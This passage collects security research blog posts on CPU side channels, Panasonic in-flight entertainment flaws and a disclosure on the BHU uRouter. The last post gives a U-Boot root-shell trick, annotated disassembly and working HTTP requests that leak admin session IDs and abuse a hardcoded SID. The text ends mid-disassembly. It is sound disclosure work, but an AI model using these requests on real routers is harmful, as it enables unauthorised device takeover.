 The algorithm failed because it wasn’t able to distinguish between mapped and unmapped pages: all the values that were retrieved with prefetch are almost equal.

This same thing happened with the tests I was able to perform on AMD:

 

Conclusions

At this point it is clear that prefetch allows to determine PTEs and can be used just as well as TSX to get the PML4-Self-Ref entry. One of the advantages of prefetch is that is present in older generations of Intel processors, making the attack possible in more platforms. A second advantage is the speed: while a TSX transaction takes ~200 cycles the prefetch is just ~40. Nevertheless, in my opinion, the attack using TSX is far more reliable given we know there is an almost fixed difference of ~40 cycles between mapped and unmapped pages, so the confidence over the results is higher.

Before actually using this however, one must ensure that the leaking with prefetch is actually working. As we showed before, there seems to be some Intel processors like the Xeon E5-2676 which seems to be unaffected.

Last but not least, it seems AMD is still the winner in terms of not having any side effect issues with its instructions. So for now you rather run Windows 10 on AMD 🙂

And what about BTB?
Regarding BTB, the truth is there is no code in the paging structure region, meaning there won’t be any kind of JMP instruction to this region that could be exercised and measured. This doesn’t mean there is no way to actually determine if page is mapped or not using this method but it means it’s not as direct as in the prefetch or TSX cases (more research is required).As always, we would love to hear from other security types who might have a differing opinion. All of our positions are subject to change through exposure to compelling arguments and/or data.
RESEARCH | December 20, 2016

In Flight Hacking System

In my five years with IOActive, I’ve had the opportunity to visit some awesome places, often thousands of kilometers from home. So flying has obviously been an integral part of my routine. You might not think that’s such a big deal, unless like me, you’re afraid of flying. I don’t think I can completely get rid of that anxiety; after dozens of flights my hands still sweat during takeoff, but I’ve learned to live with it, even enjoying it sometimes…and spending some flights hacking stuff.

What helped a lot to reduce that fear was to understand how things work in planes, and getting used to noises, bumps, and turbulence. This blog post is  about understanding a bit more about how things work aboard an aircraft. More specifically, the In-Flight Entertainment Systems (IFE) developed by Panasonic Avionics.

While I was flying from Warsaw to Dubai two years ago, I decided to try my luck and play with the IFE a little bit, touching this and that. Suddenly, after touching a specific point in one of the screen’s upper corners, the device returned this debug information: 

 
—-
Interactive: ek_seatappbase_1280x768_01.01.18.01.cram
Content: ek_seatappcontent_1280x768.01.01.8.01.cram
Engine: qtengine_01.14.0.01.squash
LRU Type: 196 2
IP: 172.17.148.48

 

Media Player Auto Popup Enabled: false
—–
After arriving in Dubai and spending some time searching those keywords in Google, I discovered hundreds of publicly available firmware updates for multiple airlines:

 

These files were obviously being actively updated, so it was possible to gain access to the latest versions deployed on aircraft. Today the files are still there, although the directory listing is no longer available.

The airlines I was able to find firmware updates available for included:

  • Emirates
  • AirFrance
  • Aerolineas Argentinas
  • United
  • Virgin
  • Singapore
  • FinnAir
  • Iberia
  • Etihad
  • Qatar
  • KLM
  • American Airlines
  • Scandinavian 
An IFE follows this basic architecture:
System Control Unit (SCU)

This needs to be a certified airborne server. Passengers can access real-time information about the flight, such as wind speed, latitude, longitude, altitude, and outside temperature. The SCU receives all of these values via the avionics bus (usually ARINC 429) and makes them available for the Seat Display Unit (SDU) through an Ethernet connection.

Seat Display Unit (SDU)
This LRU (Linear Replaceable Unit) allows the passenger to consume passive and active functions implemented in the IFE, such as watching movies, buying items, reading articles, or connecting to the internet. It’s basically an embedded device with a touchscreen; the newest are based on Android, while legacy devices mainly use Linux.

 
Removing an SDU – this is a Rave AIX SDU shown, not a Panasonic Avionics model(source: http://airfax.com/blog/wp-content/uploads/2012/06/RAVE_AIX_2012.jpg)
 
Personal Control Unit (PCU)
This handset is optional. The PCU can control the SDU, and as I’ll cover later, it can also act as a credit card reader.Cabin Crew Panel
Flight attendants and other crew members use these units to control features of the aircraft such as lights, actuators (including beds), announcements, onboard shopping, or the PA system, in order to attend to passenger needs. The Cabin Management System (CMS) is normally integrated with the IFE. Panasonic Avionics integrates the aircraft’s CMS and inflight entertainment (IFE) systems with the Global Communications Services, featuring shared system functionality for simple operation by the cabin crew (see https://www.panasonic.aero/inflight-systems/cabin-systems/). The IFE CrewApp is accessible from the Cabin Crew Panel.Panasonic IFE
There are multiple Panasonic IFEs: the “legacy” 3000/3000i and the newest XSeries eFX, eX2 and eX3 (Android-based). Hardware may vary among them, but they have a similar architecture and some common features.You can find more details on these IFEs from the Panasonic Avionics website at https://www.panasonic.aero.These systems support a large range of personalization features, which allow airlines to deploy tailored IFEs while the code base remains pretty much the same.My analysis of the firmware files did not clearly reveal the approach used to perform the data loading on the ground. Usually IFEs perform content updates via Wi-Fi ad-hoc networks or high-speed mobile data links once the aircraft touches down. Panasonic Avionics IFEs are mostly updated over “sneakernet.” While in flight, satellite communications or custom mobile data links are also possible. However, in most cases IFEs operate offline, with their contents preloaded. Usually the IFE doesn’t even check credit cards in real time.The Panasonic Avionics IFE follows a client-server architecture with three main components
  • CrewApp
  • SeatApp
  • Backend  

I found multiple versions of the CrewApp and SeatApp on the aforementioned website. When searching in Google for certain keywords, I also found the source code of the backend to be publicly exposed, but on a different .aero website. Although it contains the custom features and data for specific airlines, it still uses the Panasonic backend codebase.

It is impossible to cover all of the variations in a single blog post, as each airline and other companies adapt and extend the Panasonic framework to its own needs, so we will focus on specific features.

 
The Linux-based SeatApp rebooting
 

The firmware files (in this case software that runs on a device the user does not maintain) that I could analyze did not contain the complete system, just the files that should be updated. That’s a pity, because otherwise we could acquire more details on the low-level workings of those devices. However, it is possible to get some interesting details by going through the available files.

Scripts

Panasonic Avionics has implemented its own declarative script language, used to extend and interface with the GUI and features of the main application. It supports dozens of commands that cover the entire range of functionalities.

Example core/startup.txt code
 

Reverse-engineering the main binary (airsurf), we can figure out how this script format’s parser works. In order to illustrate this approach, let’s look at #define.

The script is processed line-by-line, and when the parser detects a #define statement, it tries to parse the statement at sub_80C2690.

 

In this function there are five types that can be defined: flash, text, draw, timer, and value.

The first line of the script is a #define value, so let’s look at how it’s handled.

First, the line is parsed and the name of the define extracted. Then the parser checks to see whether the value that comes after (the green basic block below) is a number (blue basic block).

 
 If the value is not a number, it is checked against a series of variables. If the number matches, it’s expanded to its value.
 
 
If the value is a number, the name/value pair will be added to a global array of defines (the blue basic block below).
 
 
For the cmd statement, the binary traverses the cmd table and invokes the associated routine, passing parameters.
We can see some interesting functionalities here, such as the routine that reads the credit card data from the handset after swiping. 
Data coming from the card reader (/dev/ccr) is parsed, and tracks printed out and validated.
 

We can also see regular files here, such as shell scripts, configuration files (containing hardcoded credentials), databases, resources, and libraries.

I found the following information in a tweet from someone who captured the Panasonic IFE rebooting. The SeatAppBase files are the same files we are dealing with:

‘loadlru.h’
On the newest X Series IFEs, Panasonic switched to Android and moved from the old .txt script mode approach to QT QML:
 
 
The backend uses PHP. The initial analysis reveals that it had vulnerabilities:

The image above belongs to the “seat-2-seat” chat functionality, where passengers can send messages to others. It shouldn’t take long for you to figure out there is something wrong, and it’s not the only problem.

The following videos show real vulnerability tests performed in such a way that they presented no risk.


1. Bypass credit card check

 

2. Arbitrary file access (so /dev/random)

3. SQL injection

 

Potential Impacts

So how far can an attacker go by chaining and exploiting vulnerabilities in an In-Flight Enterntainment system? There’s no generic response to this, but let’s try to dissect some potential general case scenarios by introducing some additional context (nonspecific to a particular company or system unless stated).

Relying exclusively on the DO-178B standard that defines Software Considerations in Airborne Systems and Equipment Certification, the IFE would technically lie within the D and E levels. Panasonic Avionics’ IFE in particular is certified at Level E. This basically means that even if the entire system fails, the impact would be something between no effect at all and passenger discomfort.

Also,  I should mention that an aircraft’s data networks are divided into four domains, depending on the kind of data they process: passenger entertainment, passenger owned devices, airline information services, and finally aircraft control.

Physical control systems should be located in the Aircraft Control domain, which should be physically isolated from the passenger domains; however, this doesn’t always happen. Some aircraft use optical data diodes, while others rely upon electronic gateway modules. This means that as long as there is a physical path that connects both domains, we can’t disregard the potential for attack.

In-flight entertainment systems may be an attack vector. In some scenarios such an attack would be physically impossible due to the isolation of these systems, while in others an attack remains theoretically feasible due to the physical connectivity. IOActive has successfully compromised other electronic gateway modules in non-airborne vehicles. The ability to cross the “red line” between the passenger entertainment and owned devices domain and the aircraft control domain relies heavily on the specific devices, software and configuration deployed on the target aircraft.

In 2014 we presented a series of vulnerabilities in Satellite Communication (SATCOM) devices, including airborne SATCOM terminals. A primary concern is the sharing of these SATCOM devices between different data domains, which could allow an attacker to use this equipment to pivot from a compromised IFE to certain avionics.

On the IT side, compromising the IFE means an attacker can control how passengers are informed aboard the plane. For example, an attacker might spoof flight information values such as altitude or speed, and show a bogus route on the interactive map. An attacker might compromise the CrewApp unit, controlling the PA, lighting, or actuators for upper classes. If all of these attacks are chained, a malicious actor may create a baffling and disconcerting situation for passengers.

The capture of personal information, including credit card details, while not in scope of this research, would also be technically possible if backends that sometimes provide access to specific airlines’ frequent-flyer/VIP membership data were not configured properly.

On the bright side, while not in scope of the Panasonic Avionics IFE systems research, I believe in-flight Wi-Fi itself is not a problem because it can be implemented securely without safety and security risks.

What all of this means is that after initial analysis we do not believe these systems can resist solid attacks from skilled malicious actors. Airlines must be vigilant when it comes to their In-Flight Entertainment Systems, ensuring that these and other systems are properly segregated and each aircraft’s security posture is carefully analyzed case by case. The responsibility for security does not solely rest with an IFE manufacturer, an aircraft manufacturer, or the fleet operator. Each plays an important role in assuring a secure environment.

Responsible disclosure

We reported these findings to Panasonic Avionics in March 2015. We believe that has been enough time to produce and deploy patches, at least for the most prominent vulnerabilities. That said, we believe that in such a heterogenous environment, with dozens of airlines involved and hundreds of versions of the software available, it’s difficult to say whether these issues have been completely resolved. 

As always, we would love to hear from other security types who might have a differing opinion. All of our positions are subject to change through exposure to compelling arguments and/or data.

RESEARCH | August 17, 2016

Multiple Vulnerabilities in BHU WiFi “uRouter”

A Wonderful (and !Secure) Router from China

The BHU WiFi uRouter, manufactured and sold in China, looks great – and it contains multiple critical vulnerabilities. An unauthenticated attacker could bypass authentication, access sensitive information stored in its system logs, and in the worst case, execute OS commands on the router with root privileges. In addition, the uRouter ships with hidden users, SSH enabled by default and a hardcoded root password…and injects a third-party JavaScript file into all users’ HTTP traffic.

In this blog post, we cover the main security issues found on the router, and describe how to exploit the UART debug pins to extract the firmware and find security vulnerabilities.

Souvenir from China

During my last trip to China, I decided to buy some souvenirs. By “souvenirs”, I mean Chinese brand electronic devices that I couldn’t find at home.

I found the BHU WiFi uRouter, a very nice looking router, for €60. Using a translator on the vendor’s webpage, its Chinese name translated to “Tiger Will Power”, which seemed a little bit off. Instead, I renamed it “uRouter” based on the name of the URL of the product page – http://www.bhuwifi.com/product/urouter_gs.html.

Of course, everything in the administrative web interface was in Chinese, without an option to switch to English. Translators did not help much, so I decided to open it up and see if I could access the firmware.

Extracting the Firmware using UART


If you look at the photo above, there appear to be UART pins (red) with the connector still attached, and an SD card (orange). I used BusPirate to connect to the pins.
 

I booted the device and watched my terminal:

 

U-Boot 1.1.4 (Aug 19 2015 – 08:58:22)
 
BHU Urouter
DRAM: 
sri
Wasp 1.1
wasp_ddr_initial_config(249): (16bit) ddr2 init
wasp_ddr_initial_config(426): Wasp ddr init done
Tap value selected = 0xf [0x0 – 0x1f]
Setting 0xb8116290 to 0x23462d0f
64 MB
Top of RAM usable for U-Boot at: 84000000
Reserving 270k for U-Boot at: 83fbc000
Reserving 192k for malloc() at: 83f8c000
Reserving 44 Bytes for Board Info at: 83f8bfdserving 36 Bytes for Global Data at: 83f8bfb0
Reserving 128k for boot params() at: 83f6bfb0
Stack Pointer at: 83f6bf98
Now running in RAM – U-Boot at: 83fbc000
Flash Manuf Id 0xc8, DeviceId0 0x40, DeviceId1 0x18
flash size 16MB, sector count = 256
Flash: 16 MB
In:    serial
Out:   serial
Err:   serial
 
 ______  _     _ _     _
 |_____] |_____| |     |
 |_____] |     | |_____| Networks Co’Ltd Inc.
 
Net:   ag934x_enet_initialize…
No valid address in Flash. Using fixed address
No valid address in Flashng fixed address
 wasp  reset mask:c03300
WASP —-> S27 PHY
: cfg1 0x80000000 cfg2 0x7114
eth0: 00:03:7f:09:0b:ad
s27 reg init
eth0 setup
WASP —-> S27 PHY
: cfg1 0x7 cfg2 0x7214
eth1: 00:03:7f:09:0b:ad
s27 reg init lan
ATHRS27: resetting done
eth1 setup
eth0, eth1
Http reset check.
Trying eth0
eth0 link down
FAIL
Trying eth1
eth1 link down
FAIL
Hit any key to stop autoboot:  0 (1)

 

/* [omitted] */
Pressing a key (1) stopped the booting process and landed on the following bootloader menu (the typos are not mine):

 

 

##################################
#   BHU Device bootloader menu   #
##################################
[1(t)] Upgrade firmware with tftp
[2(h)] Upgrade firmware with httpd
[3(a)] Config device aerver IP Address
[4(i)] Print device infomation
[5(d)] Device test
[6(l)] License manager
[0(r)] Redevice

 

[ (c)] Enter to commad line (2)

I pressed c to access the command line (2). Since it’s using U-Boot (as specified in the serial output), I could modify the bootargs parameter and pop a shell instead of running the init program:

Please input cmd key:
CMD> printenv bootargs
bootargs=board=Urouter console=ttyS0,115200 root=31:03 rootfstype=squashfs,jffs2 init=/sbin/init (3)mtdparts=ath-nor0:256k(u-boot),64k(u-boot-env),1408k(kernel),8448k(rootfs),1408k(kernel2),1664k(rescure),2944kr),64k(cfg),64k(oem),64k(ART)
CMD> setenv bootargs board=Urouter console=ttyS0,115200 rw rootfstype=squashfs,jffs2 init=/bin/sh (4) mtdparts=ath-nor0:256k(u-boot),64k(u-boot-env),1408k(kernel),8448k(rootfs),1408k(kernel2),1664k(rescure),2944kr),64k(cfg),64k(oem),64k(ART)

 

CMD> boot (5)
 
Checking the default U-Boot configuration (3) using the command printenv, it will run ‘/sbin/init’ as soon as the booting sequence finishes. This binary is responsible for initializing the Linux operating system of the router.
Replacing ‘/sbin/init’ with ‘/bin/sh’ (4) using the setenv command will run the shell binary instead so that we can access the filesystem. The boot command (5) tells U-Boot to continue the boot sequence we just paused. After a lot of debug information, we get the shell:

 

 
BusyBox v1.19.4 (2015-09-05 12:01:45 CST) built-in shell (ash)
Enter ‘help’ for a list of built-in commands.
 
# ls
version  upgrade  sbin     proc     mnt      init     dev
var      tmp      root     overlay  linuxrc  home     bin
usr      sys      rom      opt      lib      etc
 

 

With shell access to the router, I could then extract the firmware and start analyzing the Common Gate Interface (CGI) responsible for handling the administrative web interface.  

There were multiple ways to extract files from the router at that point. I modified the U-Boot parameters to enable the network (http://www.denx.de/wiki/view/DULG/LinuxBootArgs) and used scp (available on the router) to copy everything to my laptop.  

Another way to do this would be to analyze the recovery.img firmware image stored on the SD card. However, this would risk missing pre-installed files or configuration settings that are not in the recovery image.

Reverse Engineering the CGI Binaries
 

My first objective was to understand which software is handling the administrative web interface, and how. Here’s the startup configuration of the router:

 

# cat /etc/rc.d/rc.local
/* [omitted] */
mongoose-listening_ports 80 &

 

/* [omitted] */
Mongoose  is a web server found on embedded devices. Since no mongoose.conf file appears on the router, it would use the default configuration. According to the documentation , Mongoose will interpret all files ending with .cgi as CGI binaries by default, and there are two on the router’s filesystem:

 

# ls -al /usr/share/www/cgi-bin/
-rwxrwxr-x    1     29792 cgiSrv.cgi
-rwxrwxr-x    1     16260 cgiPage.cgi
drwxr-xr-x    2         0 ..

 

drwxrwxr-x    2        52 .

The administrative web interface relies on two binaries: 

  1. cgiPage.cgi, which seems to handle the web panel home page (http://192.168.62.1/cgi-bin/cgiPage.cgi?pg=urouter (resource no longer available))
  2. cgiSrv.cgi, which handles the administrative functions (such as logging in and out, querying system information, or modifying system configuration

The cgiSrv.cgi binary appeared to be the most interesting, since it can update the router’s configuration, so I started with that.

 

$ file cgiSrv.cgi

 

cgiSrv.cgi: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked (uses shared libs), stripped

Although the binary is stripped of all debugging symbols such as function names, it’s quite easy to understand when starting from the main function. For analysis of the binaries, I used IDA:

 
LOAD:00403C48  # int __cdecl main(int argc, const char **argv, const char **envp)
LOAD:00403C48                 .globl main
LOAD:00403C48 main:                                    # DATA XREF: _ftext+18|o
/* [omitted] */
LOAD:00403CE0                 la      $t9, getenv
LOAD:00403CE4                 nop
                          (6) # Retrieve the request method
LOAD:00403CE8                 jalr    $t9 ; getenv
                          (7) # arg0 = “REQUEST_METHOD”
LOAD:00403CEC                 addiu   $a0, $s0, (aRequest_method – 0x400000)  # “REQUEST_METHOD”
LOAD:00403CF0                 lw      $gp, 0x20+var_10($sp)
LOAD:00403CF4                 lui     $a1, 0x40
                          (8) # arg0 = getenv(“REQUEST_METHOD”)
LOAD:00403CF8                 move    $a0, $v0
LOAD:00403CFC                 la      $t9, strcmp
LOAD:00403D00                 nop
                          (9) # Check if the request method is POST
LOAD:00403D04                 jalr    $t9 ; strcmp
                          (10) # arg1 = “POST”
LOAD:00403D08                 la      $a1, aPost       # “POST”
LOAD:00403D0C                 lw      $gp, 0x20+var_10($sp)
                          (11) # Jump if not POST request
LOAD:00403D10                 bnez    $v0, loc_not_post
LOAD:00403D14                 nop
                          (12) # Call handle_post if POST request
LOAD:00403D18                 jal     handle_post
LOAD:00403D1C                 nop

/* [omitted] */


The main function starts by calling getenv (6) to retrieve the request method stored in the environment variable “REQUEST_METHOD” (7). Then it calls strcmp (9) to compare the REQUEST_METHOD value (8) with the string “POST” (10). If the strings are equal (11), the function in (12) is called.

In other words, whenever a POST request is received, the function in (12) is called. I renamed it handle_post for clarity. 

The same logic applies for GET requests, where if a GET request is received it calls the corresponding handler function, renamed handle_get.

Let’s start with handle_get, which looks simpler than does the handler for POST requests.

The cascade-like series of blocks could indicate an “if {} else if {} else {}” pattern, where each test will check for a supported GET operation.

Focusing on Block A:

 

/* [omitted] */
LOAD:00403B3C loc_403B3C:                              # CODE XREF: handle_get+DC|j
LOAD:00403B3C                 la      $t9, find_val
                          (13) # arg1 = “file”
LOAD:00403B40                 la      $a1, aFile       # “file”
                          (14) # Retrieve value of parameter “file” from URL
LOAD:00403B48                 jalr    $t9 ; find_val
                          (15) # arg0 = url
LOAD:00403B4C                 move    $a0, $s2  # s2 = URL
LOAD:00403B50                 lw      $gp, 0x130+var_120($sp)
                          (16) # Jump if URL not like “?file=”
LOAD:00403B54                 beqz    $v0, loc_not_file_op
LOAD:00403B58                 move    $s0, $v0
                          (17) # Call handler for “file” operation
LOAD:00403B5C                 jal     get_file_handler

 

LOAD:00403B60                 move    $a0, $v0

 In Block A, handler_get checks for the string file” (13) in the URL parameters (15) by calling find_val (14). If the string appears (16), the function get_file_handler is called (17).

 

 

LOAD:00401210 get_file_handler:                        # CODE XREF: handle_get+140|p
/* [omitted] */
LOAD:004012B8 loc_4012B8:                              # CODE XREF: get_file_handler+98j
LOAD:004012B8                 lui     $s0, 0x41
LOAD:004012BC                 la      $t9, strcmp
                          (18) # arg0 = Value of parameter “file”
LOAD:004012C0                 addiu   $a1, $sp, 0x60+var_48
                          (19) # arg1 = “syslog”
LOAD:004012C4                 lw      $a0, file_syslog  # “syslog”
LOAD:004012C8                 addu    $v0, $a1, $v1
                          (20) # Is value of file “syslog”?
LOAD:004012CC                 jalr    $t9 ; strcmp
LOAD:004012D0                 sb      $zero, 0($v0)
LOAD:004012D4                 lw      $gp, 0x60+var_50($sp)
                          (21) # Jump if value of “file” != “syslog”
LOAD:004012D8                 bnez    $v0, loc_not_syslog
LOAD:004012DC                 addiu   $v0, $s0, (file_syslog – 0x410000)
                          (22) # Return “/var/syslog” if “syslog”
LOAD:004012E0                 lw      $v0, (path_syslog – 0x416500)($v0)  # “/var/syslog”
LOAD:004012E4                 b     
loc_4012F0 LOAD:004012E8                 nop
LOAD:004012EC  # —————————————————————————
LOAD:004012EC LOAD:004012EC loc_4012EC:                              # CODE XREF: get_file_handler+C8|j
                          (23) # Return NULL otherwise

 

LOAD:004012EC                 move    $v0, $zero
The function get_file_handler checks to determine whether the value of the URL parameter file (18) is syslog (19) by calling strcmp (20). If that is the case (21), it returns the string /var/syslog” (22), otherwise, it returns NULL (23). Next, a function is called to open the file /var/syslog, read its contents and write it to the server’s HTTP response. This execution flow is straightforward. It took a mere couple of minutes to find the handler for GET requests and understand how the requests were processed.
Looking at the reverse-engineered blocks, we can see the following GET operations:
  • page=[<html page name>]
    • Append “.html” to the HTML page name
    • Open the file and return its content
    • If you’re wondering, yes, it is vulnerable to path traversal, but restricted to .html files. I could not find a way to bypass the extension restriction.
  • xml=[<configuration name>]
    • Access the configuration name
    • Return the value in XML format
  • file=[syslog]
    • Access /var/syslog
    • Open the file and return its content
  • cmd=[system_ready]
    • Return the first and last letters of the admin password (reducing the entropy of the password and making it easier for an attacker to brute-force)

Did We Forget to Invite Authentication to the Party? Zut…

 
But wait – when accessing syslog, does it check for an authenticated user? To all appearances, at no point does the cgiSrv.cgi binary check for authentication when accessing the router’s system logs.

Well, maybe the logs don’t contain any sensitive information…

Request:

 

GET /cgi-bin/cgiSrv.cgi?file=[syslog] HTTP/1.1
Host: 192.168.62.1
X-Requested-With: XMLHttpRequest

Connection: close

 

Response:

HTTP/1.1 200 OK
Content-type: text/plain
 
Jan  1 00:00:09 BHU syslog.info syslogd started: BusyBox v1.19.4
Jan  1 00:00:09 BHU user.notice kernel: klogger started!
Jan  1 00:00:09 BHU user.notice kernel: Linux version 2.6.31-BHU (yetao@BHURD-Software) (gcc version 4.3.3 (GCC) ) #1 Thu Aug 20 17:02:43 CST 201
/* [omitted] */
Jan  1 00:00:11 BHU local0.err dms[549]: Admin:dms:3 sid:700000000000000 id:0 login
/* [omitted] */

Jan  1 08:02:19 HOSTNAME local0.warn dms[549]: User:admin sid:2jggvfsjkyseala index:3 login     

…Or maybe they do. As seen above, these logs contain, among other information, the session ID (SID) value of the admin cookie. If we use that cookie value in our browser, we can hijack the admin session and reboot the device:

 

POST /cgi-bin/cgiSrv.cgi HTTP/1.1
Host: 192.168.62.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.62.1/
Cookie: sid=2jggvfsjkyseala;
Content-Length: 9
Connection: close
 

 

op=reboot

Response:

 
HTTP/1.1 200 OK
Content-type: text/plain
 
result=ok


But wait, there’s more! In the (improbable) scenario where the admin has never logged into the router, and therefore doesn’t have an SID cookie value in the system logs, we can still use the hardcoded SID: 700000000000000. Did you notice it in the system log we saw earlier?

 

/* [omitted] */
Jan  1 00:00:11 BHU local0.err dms[549]: Admin:dms:3 sid:700000000000000 id:0 login

 

/* [omitted] */
This SID is constant across reboots, and the admin can’t change it. This provides us with access to all authenticated features. How nice! 🙂

Request to check which user we are: 

 

POST /cgi-bin/cgiSrv.cgi HTTP/1.1
Host: 192.168.62.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 7
Cookie: sid=700000000000000
Connection: close
 
op=user

Response:

 
HTTP/1.1 200 OK
Content-type: text/plain
 
user=dms:3

Who is dms:3? It’s not referenced anywhere on the administrative web interface. Is it a bad design choice, a hack from the developers? Or is it some kind of backdoor account?

Could It Be More Broken?

 
Now that we can access the web interface with admin privileges, let’s push on a little bit further. Let’s have a look at the POST handler function and see if we can find something more interesting. 

Checking the graph overview of the POST handler on IDA, it looks scarier than the GET handler. However, we’ll split the work into smaller tasks in order to understand what happens.

In the snippet above, we can find a similar structure as in the GET handler: a cascade-like series of blocks. In Block A, we have the following:

 
LOAD:00403424                 la      $t9, cgi_input_parse
LOAD:00403428                 nop
                          (24) # Call cgi_input_parse()
LOAD:0040342C                 jalr    $t9 ; cgi_input_parse
LOAD:00403430                 nop
LOAD:00403434                 lw      $gp, 0x658+var_640($sp)
                          (25) # arg1 = “op”
LOAD:00403438                 la      $a1, aOp         # “op”
LOAD:00403440                 la      $t9, find_val
                          (26) # arg0 = Body of the request
LOAD:00403444                 move    $a0, $v0
                          (27) # Get value of parameter “op”
LOAD:00403448                 jalr    $t9 ; find_val
LOAD:0040344C                 move    $s1, $v0
LOAD:00403450                 move    $s0, $v0
LOAD:00403454                 lw      $gp, 0x658+var_640($sp)
                          (28) # No “op” parameter, then exit

 

LOAD:00403458                 beqz    $s0, b_exit

 

This block parses the body of the POST requests (24) and tries to extract the value of the parameter op (25) from the body (26) by calling the function find_val (27). If find_val returns NULL (i.e., the value of op does not exist), it goes straight to the end of the function (28). Otherwise, it continues towards Block B.
 

Block B does the following:

 

 

LOAD:004036B4                 la      $t9, strcmp
                          (29) # arg1 = “reboot”
LOAD:004036B8                 la      $a1, aReboot     # “reboot”
                          (30) # Is “op” the command “reboot”?
LOAD:004036C0                 jalr    $t9 ; strcmp
                          (31) # arg0 = body[“op”]
LOAD:004036C4                 move    $a0, $s0
LOAD:004036C8                 lw      $gp, 0x658+var_640($sp)
LOAD:004036CC                 bnez    $v0, loc_403718

 

LOAD:004036D0                 lui     $s2, 0x40
 

 

It calls the strcmp function (30) with the result of find_val from Block A as the first parameter (31). The second parameter is the string reboot” (29). If the op parameter has the value reboot, then it moves to Block C:

 

(32)# Retrieve the cookie SID value
LOAD:004036D4                 jal     get_cookie_sid
LOAD:004036D8                 nop
LOAD:004036DC                 lw      $gp, 0x658+var_640($sp)
                          (33) # SID cookie passed as first parameter for dml_dms_ucmd
LOAD:004036E0                 move    $a0, $v0
LOAD:004036E4                 li      $a1, 1
LOAD:004036E8                 la      $t9, dml_dms_ucmd
LOAD:004036EC                 li      $a2, 3
LOAD:004036F0                 move    $a3, $zero
                          (34) # Dispatch the work to dml_dms_ucmd
LOAD:004036F4                 jalr    $t9 ; dml_dms_ucmd

 

LOAD:004036F8                 nop

 

It first calls a function I renamed get_cookie_sid (32), passes the returned value to dml_dms_ucmd (33) and calls it (34). Then it moves on:

 

                          (35) # Save returned value in v1
LOAD:004036FC                 move    $v1, $v0
LOAD:00403700                 li      $v0, 0xFFFFFFFE
LOAD:00403704                 lw      $gp, 0x658+var_640($sp)
                          (36) # Is v1 != 0xFFFFFFFE?
LOAD:00403708                 bne     $v1, $v0, loc_403774
LOAD:0040370C                 lui     $a0, 0x40
                          (37) # If v1 == 0xFFFFFFFE jump to error message
LOAD:00403710                 b       loc_need_login
LOAD:00403714                 nop
/* [omitted] */
LOAD:00403888 loc_need_login:                              # CODE XREF: handle_post+9CC|j
LOAD:00403888                 la      $t9, mime_header
LOAD:0040388C                 nop
LOAD:00403890                 jalr    $t9 ; mime_header
LOAD:00403894                 addiu   $a0, (aTextXml – 0x400000)  # “text/xml”
LOAD:00403898                 lw      $gp, 0x658+var_640($sp)
LOAD:0040389C                 lui     $a0, 0x40
                          (38) # Show error message “need_login”
LOAD:004038A0                 la      $t9, printf LOAD:004038A4       b       loc_4038D0

 

LOAD:004038A8                 la      $a0, aReturnItemResu  # “<return>nt<ITEM result=”need_login””…
It checks the return value of dml_dms_ucmd (35) against 0xFFFFFFFE (or -2 in signed integer) (36). If they are different, the command succeeds. But if they are equal (37), it displays the need_login error message (38).

For instance, when no SID cookie is specified, we observe the following response from the server.

Request without any cookie:    
  

 

POST /cgi-bin/cgiSrv.cgi HTTP/1.1
Host: 192.168.62.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 9
Connection: close

 

op=reboot
 

  Response:    

 

HTTP/1.1 200 OK
Content-type: text/xml
 
<return>
      <ITEM result=”need_login”/>
</return>

 

The same pattern occurs for the other operations:
  •         Receive POST request/op=<name>
  •          Call get_cookie_sid
  •         Call dms_dms_ucmd  
This is a major difference compared to the GET handler. While the GET handler performs the action right away – no questions asked – the POST handler refers to the SID cookie at some point. But how is it used?

First, we check to see what get_cookie_sid does:

 

LOAD:004018C4 get_cookie_sid:                          # CODE XREF: get_xml_handle+20|p
/* [omitted] */
LOAD:004018DC                 la      $t9, getenv
LOAD:004018E0                 lui     $a0, 0x40
                          (39) # Get HTTP cookies
LOAD:004018E4                 jalr    $t9 ; getenv
LOAD:004018E8                 la      $a0, aHttp_cookie  # “HTTP_COOKIE”
LOAD:004018EC                 lw      $gp, 0x20+var_10($sp)
LOAD:004018F0                 beqz    $v0, failed
LOAD:004018F4                 lui     $a1, 0x40
LOAD:004018F8                 la      $t9, strstr
LOAD:004018FC                 move    $a0, $v0
                          (40) # Is there a cookie containing “sid=”?
LOAD:00401900                 jalr    $t9 ; strstr
LOAD:00401904                 la      $a1, aSid        # “sid=”
LOAD:00401908                 lw      $gp, 0x20+var_10($sp)
LOAD:0040190C                 beqz    $v0, failed
LOAD:00401910                 move    $v1, $v0
/* [omitted] */
LOAD:00401954 loc_401954:                              # CODE XREF: get_cookie_sid+6C|j
LOAD:00401954                 addiu   $s0, (session_buffer – 0x410000)
LOAD:00401958
LOAD:00401958 loc_401958:                              # CODE XREF: get_cookie_sid+74|j
LOAD:00401958                 la      $t9, strncpy
LOAD:0040195C                 addu    $v0, $a2, $s0
LOAD:00401960                 sb      $zero, 0($v0)
                          (41) # Copy value of cookie in “session_buffer”
LOAD:00401964                 jalr    $t9 ; strncpy
LOAD:00401968                 move    $a0, $s0
LOAD:0040196C                 lw      $gp, 0x20+var_10($sp)
LOAD:00401970                 b       loc_40197C
                          (42) # Return the value of the cookie

 

LOAD:00401974                 move    $v0, $s0
In short, get_session_cookie will retrieve the HTTP cookies sent with the POST request (39) and check to determine whether one cookie contains sid in its name (40). Then it saves the cookie value in a global variable (41) and returns its value (42).


The returned value then passes as the first parameter when calling dml_dms_ucmd (implemented in the libdml.so library). The authentication check surely must be in this function, right? Let’s have a look:

 

.text:0003B368 .text:0003B368                 .globl dml_dms_ucmd
.text:0003B368 dml_dms_ucmd:
.text:0003B368
/* [omitted] */
.text:0003B3A0                 move    $s3, $a0
.text:0003B3A4                 beqz    $v0, loc_3B71C
.text:0003B3A8                 move    $s4, $a3
                           (43) # Remember that a0 = SID cookie value.
                               # In other word, if a0 is NULL, s1 = 0xFFFFFFFE
.text:0003B3AC                 beqz    $a0, loc_exit_function
.text:0003B3B0                 li      $s1, 0xFFFFFFFE
/* [omitted] */
.text:0003B720 loc_exit_function:                           # CODE XREF: dml_dms_ucmd+44|j
.text:0003B720                                          # dml_dms_ucmd+390|j …
.text:0003B720                 lw      $ra, 0x40+var_4($sp)
